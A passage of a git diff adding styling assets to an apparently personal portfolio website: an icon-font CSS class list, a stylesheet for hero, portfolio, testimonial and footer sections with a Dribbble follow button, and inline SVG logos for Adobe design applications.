.icon-user-female, .icon-user-follow, .icon-user-following, .icon-user-unfollow, .icon-trophy, .icon-screen-smartphone, .icon-screen-desktop, .icon-plane, .icon-notebook, .icon-moustache, .icon-mouse, .icon-magnet, .icon-energy, .icon-emoticon-smile, .icon-disc, .icon-cursor-move, .icon-crop, .icon-credit-card, .icon-chemistry, .icon-user, .icon-speedometer, .icon-social-youtube, .icon-social-twitter, .icon-social-tumblr, .icon-social-facebook, .icon-social-dropbox, .icon-social-dribbble, .icon-shield, .icon-screen-tablet, .icon-magic-wand, .icon-hourglass, .icon-graduation, .icon-ghost, .icon-game-controller, .icon-fire, .icon-eyeglasses, .icon-envelope-open, .icon-envelope-letter, .icon-bell, .icon-badge, .icon-anchor, .icon-wallet, .icon-vector, .icon-speech, .icon-puzzle, .icon-printer, .icon-present, .icon-playlist, .icon-pin, .icon-picture, .icon-map, .icon-layers, .icon-handbag, .icon-globe-alt, .icon-globe, .icon-frame, .icon-folder-alt, .icon-film, .icon-feed, .icon-earphones-alt, .icon-earphones, .icon-drop, .icon-drawer, .icon-docs, .icon-directions, .icon-direction, .icon-diamond, .icon-cup, .icon-compass, .icon-call-out, .icon-call-in, .icon-call-end, .icon-calculator, .icon-bubbles, .icon-briefcase, .icon-book-open, .icon-basket-loaded, .icon-basket, .icon-bag, .icon-action-undo, .icon-action-redo, .icon-wrench, .icon-umbrella, .icon-trash, .icon-tag, .icon-support, .icon-size-fullscreen, .icon-size-actual, .icon-shuffle, .icon-share-alt, .icon-share, .icon-rocket, .icon-question, .icon-pie-chart, .icon-pencil, .icon-note, .icon-music-tone-alt, .icon-music-tone, .icon-microphone, .icon-loop, .icon-logout, .icon-login, .icon-list, .icon-like, .icon-home, .icon-grid, .icon-graph, .icon-equalizer, .icon-dislike, .icon-cursor, .icon-control-start, .icon-control-rewind, .icon-control-play, .icon-control-pause, .icon-control-forward, .icon-control-end, .icon-calendar, .icon-bulb, .icon-bar-chart, .icon-arrow-up, .icon-arrow-right, .icon-arrow-left, .icon-arrow-down, .icon-ban, .icon-bubble, .icon-camcorder, .icon-camera, .icon-check, .icon-clock, .icon-close, .icon-cloud-download, .icon-cloud-upload, .icon-doc, .icon-envelope, .icon-eye, .icon-flag, .icon-folder, .icon-heart, .icon-info, .icon-key, .icon-link, .icon-lock, .icon-lock-open, .icon-magnifier, .icon-magnifier-add, .icon-magnifier-remove, .icon-paper-clip, .icon-paper-plane, .icon-plus, .icon-pointer, .icon-power, .icon-refresh, .icon-reload, .icon-settings, .icon-star, .icon-symbol-female, .icon-symbol-male, .icon-target, .icon-volume-1, .icon-volume-2, .icon-volume-off, .icon-users {
|
||||
font-family: 'Simple-Line-Icons';
|
||||
speak: none;
|
||||
font-style: normal;
|
||||
font-weight: normal;
|
||||
font-variant: normal;
|
||||
text-transform: none;
|
||||
line-height: 1;
|
||||
-webkit-font-smoothing: antialiased;
|
||||
}
|
||||
.icon-user-female:before {
|
||||
content: "\e000";
|
||||
}
|
||||
.icon-user-follow:before {
|
||||
content: "\e002";
|
||||
}
|
||||
.icon-user-following:before {
|
||||
content: "\e003";
|
||||
}
|
||||
.icon-user-unfollow:before {
|
||||
content: "\e004";
|
||||
}
|
||||
.icon-trophy:before {
|
||||
content: "\e006";
|
||||
}
|
||||
.icon-screen-smartphone:before {
|
||||
content: "\e010";
|
||||
}
|
||||
.icon-screen-desktop:before {
|
||||
content: "\e011";
|
||||
}
|
||||
.icon-plane:before {
|
||||
content: "\e012";
|
||||
}
|
||||
.icon-notebook:before {
|
||||
content: "\e013";
|
||||
}
|
||||
.icon-moustache:before {
|
||||
content: "\e014";
|
||||
}
|
||||
.icon-mouse:before {
|
||||
content: "\e015";
|
||||
}
|
||||
.icon-magnet:before {
|
||||
content: "\e016";
|
||||
}
|
||||
.icon-energy:before {
|
||||
content: "\e020";
|
||||
}
|
||||
.icon-emoticon-smile:before {
|
||||
content: "\e021";
|
||||
}
|
||||
.icon-disc:before {
|
||||
content: "\e022";
|
||||
}
|
||||
.icon-cursor-move:before {
|
||||
content: "\e023";
|
||||
}
|
||||
.icon-crop:before {
|
||||
content: "\e024";
|
||||
}
|
||||
.icon-credit-card:before {
|
||||
content: "\e025";
|
||||
}
|
||||
.icon-chemistry:before {
|
||||
content: "\e026";
|
||||
}
|
||||
.icon-user:before {
|
||||
content: "\e005";
|
||||
}
|
||||
.icon-speedometer:before {
|
||||
content: "\e007";
|
||||
}
|
||||
.icon-social-youtube:before {
|
||||
content: "\e008";
|
||||
}
|
||||
.icon-social-twitter:before {
|
||||
content: "\e009";
|
||||
}
|
||||
.icon-social-tumblr:before {
|
||||
content: "\e00a";
|
||||
}
|
||||
.icon-social-facebook:before {
|
||||
content: "\e00b";
|
||||
}
|
||||
.icon-social-dropbox:before {
|
||||
content: "\e00c";
|
||||
}
|
||||
.icon-social-dribbble:before {
|
||||
content: "\e00d";
|
||||
}
|
||||
.icon-shield:before {
|
||||
content: "\e00e";
|
||||
}
|
||||
.icon-screen-tablet:before {
|
||||
content: "\e00f";
|
||||
}
|
||||
.icon-magic-wand:before {
|
||||
content: "\e017";
|
||||
}
|
||||
.icon-hourglass:before {
|
||||
content: "\e018";
|
||||
}
|
||||
.icon-graduation:before {
|
||||
content: "\e019";
|
||||
}
|
||||
.icon-ghost:before {
|
||||
content: "\e01a";
|
||||
}
|
||||
.icon-game-controller:before {
|
||||
content: "\e01b";
|
||||
}
|
||||
.icon-fire:before {
|
||||
content: "\e01c";
|
||||
}
|
||||
.icon-eyeglasses:before {
|
||||
content: "\e01d";
|
||||
}
|
||||
.icon-envelope-open:before {
|
||||
content: "\e01e";
|
||||
}
|
||||
.icon-envelope-letter:before {
|
||||
content: "\e01f";
|
||||
}
|
||||
.icon-bell:before {
|
||||
content: "\e027";
|
||||
}
|
||||
.icon-badge:before {
|
||||
content: "\e028";
|
||||
}
|
||||
.icon-anchor:before {
|
||||
content: "\e029";
|
||||
}
|
||||
.icon-wallet:before {
|
||||
content: "\e02a";
|
||||
}
|
||||
.icon-vector:before {
|
||||
content: "\e02b";
|
||||
}
|
||||
.icon-speech:before {
|
||||
content: "\e02c";
|
||||
}
|
||||
.icon-puzzle:before {
|
||||
content: "\e02d";
|
||||
}
|
||||
.icon-printer:before {
|
||||
content: "\e02e";
|
||||
}
|
||||
.icon-present:before {
|
||||
content: "\e02f";
|
||||
}
|
||||
.icon-playlist:before {
|
||||
content: "\e030";
|
||||
}
|
||||
.icon-pin:before {
|
||||
content: "\e031";
|
||||
}
|
||||
.icon-picture:before {
|
||||
content: "\e032";
|
||||
}
|
||||
.icon-map:before {
|
||||
content: "\e033";
|
||||
}
|
||||
.icon-layers:before {
|
||||
content: "\e034";
|
||||
}
|
||||
.icon-handbag:before {
|
||||
content: "\e035";
|
||||
}
|
||||
.icon-globe-alt:before {
|
||||
content: "\e036";
|
||||
}
|
||||
.icon-globe:before {
|
||||
content: "\e037";
|
||||
}
|
||||
.icon-frame:before {
|
||||
content: "\e038";
|
||||
}
|
||||
.icon-folder-alt:before {
|
||||
content: "\e039";
|
||||
}
|
||||
.icon-film:before {
|
||||
content: "\e03a";
|
||||
}
|
||||
.icon-feed:before {
|
||||
content: "\e03b";
|
||||
}
|
||||
.icon-earphones-alt:before {
|
||||
content: "\e03c";
|
||||
}
|
||||
.icon-earphones:before {
|
||||
content: "\e03d";
|
||||
}
|
||||
.icon-drop:before {
|
||||
content: "\e03e";
|
||||
}
|
||||
.icon-drawer:before {
|
||||
content: "\e03f";
|
||||
}
|
||||
.icon-docs:before {
|
||||
content: "\e040";
|
||||
}
|
||||
.icon-directions:before {
|
||||
content: "\e041";
|
||||
}
|
||||
.icon-direction:before {
|
||||
content: "\e042";
|
||||
}
|
||||
.icon-diamond:before {
|
||||
content: "\e043";
|
||||
}
|
||||
.icon-cup:before {
|
||||
content: "\e044";
|
||||
}
|
||||
.icon-compass:before {
|
||||
content: "\e045";
|
||||
}
|
||||
.icon-call-out:before {
|
||||
content: "\e046";
|
||||
}
|
||||
.icon-call-in:before {
|
||||
content: "\e047";
|
||||
}
|
||||
.icon-call-end:before {
|
||||
content: "\e048";
|
||||
}
|
||||
.icon-calculator:before {
|
||||
content: "\e049";
|
||||
}
|
||||
.icon-bubbles:before {
|
||||
content: "\e04a";
|
||||
}
|
||||
.icon-briefcase:before {
|
||||
content: "\e04b";
|
||||
}
|
||||
.icon-book-open:before {
|
||||
content: "\e04c";
|
||||
}
|
||||
.icon-basket-loaded:before {
|
||||
content: "\e04d";
|
||||
}
|
||||
.icon-basket:before {
|
||||
content: "\e04e";
|
||||
}
|
||||
.icon-bag:before {
|
||||
content: "\e04f";
|
||||
}
|
||||
.icon-action-undo:before {
|
||||
content: "\e050";
|
||||
}
|
||||
.icon-action-redo:before {
|
||||
content: "\e051";
|
||||
}
|
||||
.icon-wrench:before {
|
||||
content: "\e052";
|
||||
}
|
||||
.icon-umbrella:before {
|
||||
content: "\e053";
|
||||
}
|
||||
.icon-trash:before {
|
||||
content: "\e054";
|
||||
}
|
||||
.icon-tag:before {
|
||||
content: "\e055";
|
||||
}
|
||||
.icon-support:before {
|
||||
content: "\e056";
|
||||
}
|
||||
.icon-size-fullscreen:before {
|
||||
content: "\e057";
|
||||
}
|
||||
.icon-size-actual:before {
|
||||
content: "\e058";
|
||||
}
|
||||
.icon-shuffle:before {
|
||||
content: "\e059";
|
||||
}
|
||||
.icon-share-alt:before {
|
||||
content: "\e05a";
|
||||
}
|
||||
.icon-share:before {
|
||||
content: "\e05b";
|
||||
}
|
||||
.icon-rocket:before {
|
||||
content: "\e05c";
|
||||
}
|
||||
.icon-question:before {
|
||||
content: "\e05d";
|
||||
}
|
||||
.icon-pie-chart:before {
|
||||
content: "\e05e";
|
||||
}
|
||||
.icon-pencil:before {
|
||||
content: "\e05f";
|
||||
}
|
||||
.icon-note:before {
|
||||
content: "\e060";
|
||||
}
|
||||
.icon-music-tone-alt:before {
|
||||
content: "\e061";
|
||||
}
|
||||
.icon-music-tone:before {
|
||||
content: "\e062";
|
||||
}
|
||||
.icon-microphone:before {
|
||||
content: "\e063";
|
||||
}
|
||||
.icon-loop:before {
|
||||
content: "\e064";
|
||||
}
|
||||
.icon-logout:before {
|
||||
content: "\e065";
|
||||
}
|
||||
.icon-login:before {
|
||||
content: "\e066";
|
||||
}
|
||||
.icon-list:before {
|
||||
content: "\e067";
|
||||
}
|
||||
.icon-like:before {
|
||||
content: "\e068";
|
||||
}
|
||||
.icon-home:before {
|
||||
content: "\e069";
|
||||
}
|
||||
.icon-grid:before {
|
||||
content: "\e06a";
|
||||
}
|
||||
.icon-graph:before {
|
||||
content: "\e06b";
|
||||
}
|
||||
.icon-equalizer:before {
|
||||
content: "\e06c";
|
||||
}
|
||||
.icon-dislike:before {
|
||||
content: "\e06d";
|
||||
}
|
||||
.icon-cursor:before {
|
||||
content: "\e06e";
|
||||
}
|
||||
.icon-control-start:before {
|
||||
content: "\e06f";
|
||||
}
|
||||
.icon-control-rewind:before {
|
||||
content: "\e070";
|
||||
}
|
||||
.icon-control-play:before {
|
||||
content: "\e071";
|
||||
}
|
||||
.icon-control-pause:before {
|
||||
content: "\e072";
|
||||
}
|
||||
.icon-control-forward:before {
|
||||
content: "\e073";
|
||||
}
|
||||
.icon-control-end:before {
|
||||
content: "\e074";
|
||||
}
|
||||
.icon-calendar:before {
|
||||
content: "\e075";
|
||||
}
|
||||
.icon-bulb:before {
|
||||
content: "\e076";
|
||||
}
|
||||
.icon-bar-chart:before {
|
||||
content: "\e077";
|
||||
}
|
||||
.icon-arrow-up:before {
|
||||
content: "\e078";
|
||||
}
|
||||
.icon-arrow-right:before {
|
||||
content: "\e079";
|
||||
}
|
||||
.icon-arrow-left:before {
|
||||
content: "\e07a";
|
||||
}
|
||||
.icon-arrow-down:before {
|
||||
content: "\e07b";
|
||||
}
|
||||
.icon-ban:before {
|
||||
content: "\e07c";
|
||||
}
|
||||
.icon-bubble:before {
|
||||
content: "\e07d";
|
||||
}
|
||||
.icon-camcorder:before {
|
||||
content: "\e07e";
|
||||
}
|
||||
.icon-camera:before {
|
||||
content: "\e07f";
|
||||
}
|
||||
.icon-check:before {
|
||||
content: "\e080";
|
||||
}
|
||||
.icon-clock:before {
|
||||
content: "\e081";
|
||||
}
|
||||
.icon-close:before {
|
||||
content: "\e082";
|
||||
}
|
||||
.icon-cloud-download:before {
|
||||
content: "\e083";
|
||||
}
|
||||
.icon-cloud-upload:before {
|
||||
content: "\e084";
|
||||
}
|
||||
.icon-doc:before {
|
||||
content: "\e085";
|
||||
}
|
||||
.icon-envelope:before {
|
||||
content: "\e086";
|
||||
}
|
||||
.icon-eye:before {
|
||||
content: "\e087";
|
||||
}
|
||||
.icon-flag:before {
|
||||
content: "\e088";
|
||||
}
|
||||
.icon-folder:before {
|
||||
content: "\e089";
|
||||
}
|
||||
.icon-heart:before {
|
||||
content: "\e08a";
|
||||
}
|
||||
.icon-info:before {
|
||||
content: "\e08b";
|
||||
}
|
||||
.icon-key:before {
|
||||
content: "\e08c";
|
||||
}
|
||||
.icon-link:before {
|
||||
content: "\e08d";
|
||||
}
|
||||
.icon-lock:before {
|
||||
content: "\e08e";
|
||||
}
|
||||
.icon-lock-open:before {
|
||||
content: "\e08f";
|
||||
}
|
||||
.icon-magnifier:before {
|
||||
content: "\e090";
|
||||
}
|
||||
.icon-magnifier-add:before {
|
||||
content: "\e091";
|
||||
}
|
||||
.icon-magnifier-remove:before {
|
||||
content: "\e092";
|
||||
}
|
||||
.icon-paper-clip:before {
|
||||
content: "\e093";
|
||||
}
|
||||
.icon-paper-plane:before {
|
||||
content: "\e094";
|
||||
}
|
||||
.icon-plus:before {
|
||||
content: "\e095";
|
||||
}
|
||||
.icon-pointer:before {
|
||||
content: "\e096";
|
||||
}
|
||||
.icon-power:before {
|
||||
content: "\e097";
|
||||
}
|
||||
.icon-refresh:before {
|
||||
content: "\e098";
|
||||
}
|
||||
.icon-reload:before {
|
||||
content: "\e099";
|
||||
}
|
||||
.icon-settings:before {
|
||||
content: "\e09a";
|
||||
}
|
||||
.icon-star:before {
|
||||
content: "\e09b";
|
||||
}
|
||||
.icon-symbol-female:before {
|
||||
content: "\e09c";
|
||||
}
|
||||
.icon-symbol-male:before {
|
||||
content: "\e09d";
|
||||
}
|
||||
.icon-target:before {
|
||||
content: "\e09e";
|
||||
}
|
||||
.icon-volume-1:before {
|
||||
content: "\e09f";
|
||||
}
|
||||
.icon-volume-2:before {
|
||||
content: "\e0a0";
|
||||
}
|
||||
.icon-volume-off:before {
|
||||
content: "\e0a1";
|
||||
}
|
||||
.icon-users:before {
|
||||
content: "\e001";
|
||||
}
|
||||
|
|
@ -0,0 +1,317 @@
|
|||
*{ -webkit-transition: .7s ease-out;
|
||||
-moz-transition: .7s ease-out;
|
||||
-o-transition: .7s ease-out;
|
||||
transition: .7s ease-out;
|
||||
list-style: none;
|
||||
}
|
||||
|
||||
/*================================
|
||||
TYPOGRAPHY
|
||||
================================*/
|
||||
body {
|
||||
font-family: 'Raleway', sans-serif;
|
||||
line-height: 1.8em;
|
||||
}
|
||||
|
||||
.bigicon {font-size: 3em;}
|
||||
h2{font-size: 42px;}
|
||||
h3{font-size: 28px;}
|
||||
h4{font-size: 18px; line-height: 1.4em;}
|
||||
|
||||
p{
|
||||
letter-spacing: 1px;
|
||||
color: #c3c3c3;
|
||||
font-weight: lighter;
|
||||
}
|
||||
|
||||
|
||||
/*================================
|
||||
DEFAULT STYLE & FORMATING
|
||||
================================*/
|
||||
ul{padding: 0;}
|
||||
a{color: #ea9312}
|
||||
a:hover{color: #c3c3c3; text-decoration: none;}
|
||||
|
||||
#services{text-align: center;}
|
||||
.col-md-4, .col-md-6{padding-bottom: 50px;}
|
||||
.col-md-3 {padding: 0;}
|
||||
|
||||
.sectionhead{
|
||||
text-align: center;
|
||||
padding-top: 100px;
|
||||
padding-bottom: 50px;
|
||||
}
|
||||
|
||||
hr.separetor{
|
||||
width: 80px;
|
||||
color: #363942;
|
||||
border-top: 2px solid #ea9312;
|
||||
}
|
||||
|
||||
|
||||
.btn-default{
|
||||
background: none;
|
||||
border: none;
|
||||
text-transform: uppercase;
|
||||
margin: 50px 0;
|
||||
color: #c3c3c3;
|
||||
letter-spacing: 2px;
|
||||
}
|
||||
|
||||
.btn-default:hover{
|
||||
background: none;
|
||||
color: #ea9312;
|
||||
}
|
||||
|
||||
.btnicon, .brandicon{
|
||||
margin-right: 10px;
|
||||
}
|
||||
|
||||
|
||||
/*================================
|
||||
HERO AREA
|
||||
================================*/
|
||||
#hero{
|
||||
color: #fff;
|
||||
text-align: center;
|
||||
background: url(../img/trianglify-background.svg)no-repeat; /*your background image*/
|
||||
max-height: 880px;
|
||||
overflow: hidden;
|
||||
}
|
||||
|
||||
.herocontent{
|
||||
padding-top: 100px;
|
||||
width: 100%;
|
||||
max-width: 900px;
|
||||
}
|
||||
.heroshot{
|
||||
margin-top: 20px;
|
||||
width: 100%;
|
||||
max-width: 1200px;
|
||||
|
||||
}
|
||||
|
||||
/*================================
|
||||
CLIENTS SECTION
|
||||
================================*/
|
||||
#clients{
|
||||
padding-top: 30px;
|
||||
}
|
||||
#clients h4{
|
||||
text-transooteorm: uppercase;
|
||||
padding-top: 10px;
|
||||
}
|
||||
|
||||
#clients .col-md-4{
|
||||
padding-bottom: 0;
|
||||
}
|
||||
|
||||
#clients ul{float: right}
|
||||
|
||||
#clients li{
|
||||
display: inline;
|
||||
margin-right: 35px;
|
||||
}
|
||||
|
||||
#clients li:last-child{
|
||||
margin-right: 0px;
|
||||
}
|
||||
|
||||
|
||||
/*================================
|
||||
ABOUT SECTION
|
||||
================================*/
|
||||
#about{padding-top: 100px;}
|
||||
|
||||
.myapps{margin-top: 25px;}
|
||||
.myapps li{display: inline}
|
||||
.myapps li img{
|
||||
width: 30px;
|
||||
}
|
||||
|
||||
/*================================
|
||||
PORTFOLIO SECTION
|
||||
================================*/
|
||||
#portfolio{
|
||||
background: #efefef;
|
||||
margin-top: 50px;
|
||||
padding: 30px 0;
|
||||
text-align: center;
|
||||
}
|
||||
|
||||
#shotsByPlayerId li{
|
||||
width: 31%;
|
||||
float: left;
|
||||
padding: 15px;
|
||||
margin: 10px;
|
||||
background: #fff;
|
||||
border-radius: 5px;
|
||||
}
|
||||
|
||||
#shotsByPlayerId li:hover{
|
||||
box-shadow: 1px 2px 25px rgba(160, 160, 160, 0.4);
|
||||
-webkit-transition: .7s ease-out;
|
||||
-moz-transition: .7s ease-out;
|
||||
-o-transition: .7s ease-out;
|
||||
transition: .7s ease-out;
|
||||
}
|
||||
|
||||
#shotsByPlayerId li img{
|
||||
width: 100%;
|
||||
border-radius: 5px;
|
||||
}
|
||||
|
||||
#shotsByPlayerId img:hover{
|
||||
opacity: .5;
|
||||
overflow: hidden;
|
||||
}
|
||||
|
||||
#shotsByPlayerId a:hover{color: #ea9312;}
|
||||
|
||||
#shotsByPlayerId h3{
|
||||
text-align: left;
|
||||
font-size: 14px;
|
||||
letter-spacing: 1px;
|
||||
text-transform: uppercase;
|
||||
font-weight: normal;
|
||||
white-space: nowrap;
|
||||
width: 100%;
|
||||
overflow: hidden;
|
||||
text-overflow: ellipsis;}
|
||||
|
||||
#shotsByPlayerId h3 a{color: #363942;}
|
||||
|
||||
.likecount a{float: left; color: #c3c3c3;}
|
||||
.commentcount a{float: right; color: #c3c3c3;}
|
||||
|
||||
/*================================
|
||||
TESTIMONIAL SECTION
|
||||
================================*/
|
||||
|
||||
.clientsphoto img{
|
||||
width: 80px;
|
||||
float: left;
|
||||
margin-right: 20px;
|
||||
border-radius: 50%;
|
||||
}
|
||||
|
||||
.clientsphoto img:hover{
|
||||
border-radius: 15%;
|
||||
}
|
||||
|
||||
blockquote{
|
||||
margin: 0;
|
||||
padding: 0 0 10px 0;
|
||||
border: none;
|
||||
}
|
||||
|
||||
blockquote p{
|
||||
font-style: italic;
|
||||
font-size: 14px;
|
||||
}
|
||||
|
||||
.quote{overflow: hidden}
|
||||
.quote h5{margin-bottom: 5px;}
|
||||
|
||||
|
||||
/*================================
|
||||
FOOTER SECTION
|
||||
================================*/
|
||||
|
||||
footer{
|
||||
text-align: center;
|
||||
padding: 50px 0;
|
||||
background: #363942;
|
||||
}
|
||||
|
||||
footer p, footer .bigicon {color: #7e7e7e;}
|
||||
|
||||
.footerlinks{margin: 30px 0;}
|
||||
.footerlinks li{
|
||||
display: inline;
|
||||
padding: 10px;
|
||||
text-transform: uppercase;
|
||||
letter-spacing: 3px;
|
||||
}
|
||||
|
||||
.footersocial {margin-top: 30px;}
|
||||
|
||||
.footersocial li{
|
||||
display:inline;
|
||||
padding: 0 15px;
|
||||
font-size: 2em;
|
||||
}
|
||||
|
||||
.footersocial li a {color: #7e7e7e;}
|
||||
.footersocial li a:hover {color: #ea9312;}
|
||||
|
||||
/*================================
|
||||
FOLLOW BUTTON
|
||||
================================*/
|
||||
.dribbble-follow-button {
|
||||
display: inline-block;
|
||||
margin-top: 15px;
|
||||
}
|
||||
|
||||
.dribbble-follow-button .label, .dribbble-follow-button .count {
|
||||
font: bold 11px/18px 'Helvetica Neue', Helvetica, Arial, sans-serif;
|
||||
color: #333;
|
||||
border: 1px solid #ccc;
|
||||
text-decoration: none;
|
||||
display: inline-block;
|
||||
position: relative;
|
||||
border-radius: 3px;
|
||||
}
|
||||
|
||||
.dribbble-follow-button .label {
|
||||
padding: 0 3px 0 1px;
|
||||
white-space: nowrap;
|
||||
background: #e3e3e3;
|
||||
background: linear-gradient(top, white, #dedede);
|
||||
}
|
||||
|
||||
.dribbble-follow-button .label i {
|
||||
height: 18px;
|
||||
width: 18px;
|
||||
float: left;
|
||||
background: url(../img/icon.png) no-repeat top left;
|
||||
}
|
||||
|
||||
.dribbble-follow-button .label:hover {
|
||||
border-color: #bbb;
|
||||
background: #fff;
|
||||
color: #333;
|
||||
}
|
||||
|
||||
.dribbble-follow-button .label:active {
|
||||
box-shadow: 0 1px 5px rgba(0,0,0,.15) inset;
|
||||
}
|
||||
|
||||
.dribbble-follow-button .count {
|
||||
margin-left: 5px;
|
||||
padding: 0 3px;
|
||||
color: #333;
|
||||
border-color: #bbb;
|
||||
font-weight: normal;
|
||||
background: white;
|
||||
}
|
||||
|
||||
.dribbble-follow-button .count:hover {
|
||||
text-decoration: underline;
|
||||
}
|
||||
|
||||
.dribbble-follow-button .count > * {
|
||||
top: 50%;
|
||||
left: 0;
|
||||
margin: -4px 0 0 -4px;
|
||||
border: 4px solid transparent;
|
||||
border-right-color: #aaa;
|
||||
border-left: 0;
|
||||
position: absolute;
|
||||
}
|
||||
|
||||
.dribbble-follow-button .count u {
|
||||
margin-left: -3px;
|
||||
border-right-color: white;
|
||||
}
|
||||
|
||||
File diff suppressed because it is too large
Load Diff
|
After Width: | Height: | Size: 178 KiB |
Binary file not shown.
File diff suppressed because it is too large
Load Diff
|
After Width: | Height: | Size: 175 KiB |
Binary file not shown.
Binary file not shown.
|
|
@ -0,0 +1 @@
|
|||
<?xml version="1.0" ?><!DOCTYPE svg PUBLIC '-//W3C//DTD SVG 1.1//EN' 'http://www.w3.org/Graphics/SVG/1.1/DTD/svg11.dtd'><svg enable-background="new 0 0 512 512" height="512px" id="After_Effects_1_" version="1.1" viewBox="0 0 512 512" width="512px" xml:space="preserve" xmlns="http://www.w3.org/2000/svg" xmlns:xlink="http://www.w3.org/1999/xlink"><g id="Frame_8_"><g><rect fill="#C88FFF" height="486.004" width="499.004" x="6.998" y="11.998"/></g></g><g id="Background_8_"><g><rect fill="#312963" height="407.969" width="421.987" x="45.008" y="51.016"/></g></g><g id="Shadow2_8_" opacity="0.302"><g><polygon points="388,216 305,232 207,152 163,157 93,358 227,459 467,459 467,279 "/></g></g><g id="Shadow_9_" opacity="0.302"><g><rect height="13.998" width="421.987" x="45.008" y="51.001"/></g></g><g id="Ae"><g><path d="M150.294,299.554l-17.719,58.35H93.777l65.987-205.904h47.963l66.903,205.904h-40.325l-18.635-58.35 H150.294z M209.255,271.143l-16.191-50.712c-3.971-12.525-7.332-26.578-10.387-38.493h-0.611 c-3.055,11.915-6.11,26.272-9.776,38.493l-15.886,50.712H209.255z" fill="#C88FFF"/><path d="M316.174,294.055c0.916,26.884,21.995,38.492,45.824,38.492c17.413,0,29.938-2.443,41.242-6.721 l5.499,25.967c-12.831,5.194-30.55,9.165-51.935,9.165c-48.269,0-76.68-29.633-76.68-75.151c0-41.242,25.051-80.041,72.708-80.041 c48.269,0,64.154,39.714,64.154,72.403c0,7.026-0.611,12.525-1.222,15.886H316.174z M381.55,267.782 c0.306-13.748-5.805-36.354-30.855-36.354c-23.218,0-32.993,21.08-34.521,36.354H381.55z" fill="#C88FFF"/></g></g></svg>
|
||||
|
After Width: | Height: | Size: 1.5 KiB |
Binary file not shown.
|
After Width: | Height: | Size: 30 KiB |
Binary file not shown.
|
After Width: | Height: | Size: 12 KiB |
Binary file not shown.
|
After Width: | Height: | Size: 5.6 KiB |
Binary file not shown.
|
After Width: | Height: | Size: 9.5 KiB |
Binary file not shown.
|
After Width: | Height: | Size: 4.4 KiB |
Binary file not shown.
|
After Width: | Height: | Size: 11 KiB |
Binary file not shown.
|
After Width: | Height: | Size: 28 KiB |
Binary file not shown.
|
After Width: | Height: | Size: 19 KiB |
Binary file not shown.
|
After Width: | Height: | Size: 9.5 KiB |
Binary file not shown.
|
After Width: | Height: | Size: 41 KiB |
Binary file not shown.
|
After Width: | Height: | Size: 2.8 KiB |
|
|
@ -0,0 +1 @@
|
|||
<?xml version="1.0" ?><!DOCTYPE svg PUBLIC '-//W3C//DTD SVG 1.1//EN' 'http://www.w3.org/Graphics/SVG/1.1/DTD/svg11.dtd'><svg enable-background="new 0 0 512 512" height="512px" id="Flash_Pro_1_" version="1.1" viewBox="0 0 512 512" width="512px" xml:space="preserve" xmlns="http://www.w3.org/2000/svg" xmlns:xlink="http://www.w3.org/1999/xlink"><g id="Frame_3_"><g><rect fill="#D12727" height="486.004" width="499.004" x="6.998" y="11.998"/></g></g><g id="Background_3_"><g><rect fill="#462621" height="407.969" width="421.987" x="45.008" y="51.016"/></g></g><g id="Shadow2_3_" opacity="0.302"><g><polygon points="354,140 340,190 292,151 199,151 186,244 173,357 312,459 467,459 467,215 "/></g></g><g id="Shadow_4_" opacity="0.302"><g><rect height="13.998" width="421.987" x="45.008" y="51.001"/></g></g><g id="Fl"><g><path d="M174.013,150.998h118.837v30.855h-81.262v56.822h75.764v30.855h-75.764v87.372h-37.576V150.998z" fill="#E82C2E"/><path d="M315.76,140h37.881v216.902H315.76V140z" fill="#E82C2E"/></g></g></svg>
|
||||
|
After Width: | Height: | Size: 1017 B |
Binary file not shown.
|
After Width: | Height: | Size: 504 KiB |
Binary file not shown.
|
After Width: | Height: | Size: 2.6 KiB |
|
|
@ -0,0 +1 @@
|
|||
<?xml version="1.0" ?><!DOCTYPE svg PUBLIC '-//W3C//DTD SVG 1.1//EN' 'http://www.w3.org/Graphics/SVG/1.1/DTD/svg11.dtd'><svg enable-background="new 0 0 512 512" height="512px" id="Illustrator_1_" version="1.1" viewBox="0 0 512 512" width="512px" xml:space="preserve" xmlns="http://www.w3.org/2000/svg" xmlns:xlink="http://www.w3.org/1999/xlink"><g id="Frame_1_"><g><rect fill="#FFAA2B" height="486.004" width="499.004" x="6.998" y="11.998"/></g></g><g id="Background_1_"><g><rect fill="#3B3323" height="407.969" width="421.987" x="45.008" y="51.016"/></g></g><g id="Shadow2_1_" opacity="0.302"><g><path d="M364,148c0.997,0.664-28,31-28,31l37.387,29.456L339,234l-86-83l-41,10l-26,83l-47,113l144,102h184V231 C467,231,363.003,147.336,364,148z"/></g></g><g id="Shadow_2_" opacity="0.302"><g><rect height="13.998" width="421.987" x="45.008" y="51.001"/></g></g><g id="Ai"><g><path d="M196.007,298.553l-17.719,58.35h-38.798l65.987-205.904h47.963l66.904,205.904h-40.326l-18.635-58.35 H196.007z M254.968,270.142l-16.191-50.712c-3.971-12.525-7.332-26.578-10.387-38.493h-0.611 c-3.055,11.915-6.11,26.272-9.776,38.493l-15.886,50.712H254.968z" fill="#FFAA2B"/><path d="M375.329,166.578c0,11.303-8.248,20.163-21.385,20.163c-12.525,0-20.773-8.859-20.773-20.163 c0-11.609,8.554-20.468,21.079-20.468C367.081,146.11,375.023,154.969,375.329,166.578z M335.31,356.902V208.125h37.881v148.777 H335.31z" fill="#FFAA2B"/></g></g></svg>
|
||||
|
After Width: | Height: | Size: 1.4 KiB |
|
|
@ -0,0 +1 @@
|
|||
<?xml version="1.0" ?><!DOCTYPE svg PUBLIC '-//W3C//DTD SVG 1.1//EN' 'http://www.w3.org/Graphics/SVG/1.1/DTD/svg11.dtd'><svg enable-background="new 0 0 512 512" height="512px" id="Indesign_1_" version="1.1" viewBox="0 0 512 512" width="512px" xml:space="preserve" xmlns="http://www.w3.org/2000/svg" xmlns:xlink="http://www.w3.org/1999/xlink"><g id="Frame_2_"><g><rect fill="#EB43A3" height="486.004" width="499.004" x="6.998" y="11.998"/></g></g><g id="Background_2_"><g><rect fill="#412534" height="407.969" width="421.987" x="45.008" y="51.016"/></g></g><g id="Shadow2_2_" opacity="0.302"><g><polygon points="367,140 347,230 199,151 186,244 161,357 306,459 467,459 467,213 "/></g></g><g id="Shadow_3_" opacity="0.302"><g><rect height="13.998" width="421.987" x="45.008" y="51.001"/></g></g><g id="Id"><g><path d="M199.52,150.998v205.904h-37.576V150.998H199.52z" fill="#EB43A3"/><path d="M366.013,140v175.05c0,15.274,0.611,31.771,1.223,41.853h-33.604l-1.527-23.523h-0.611 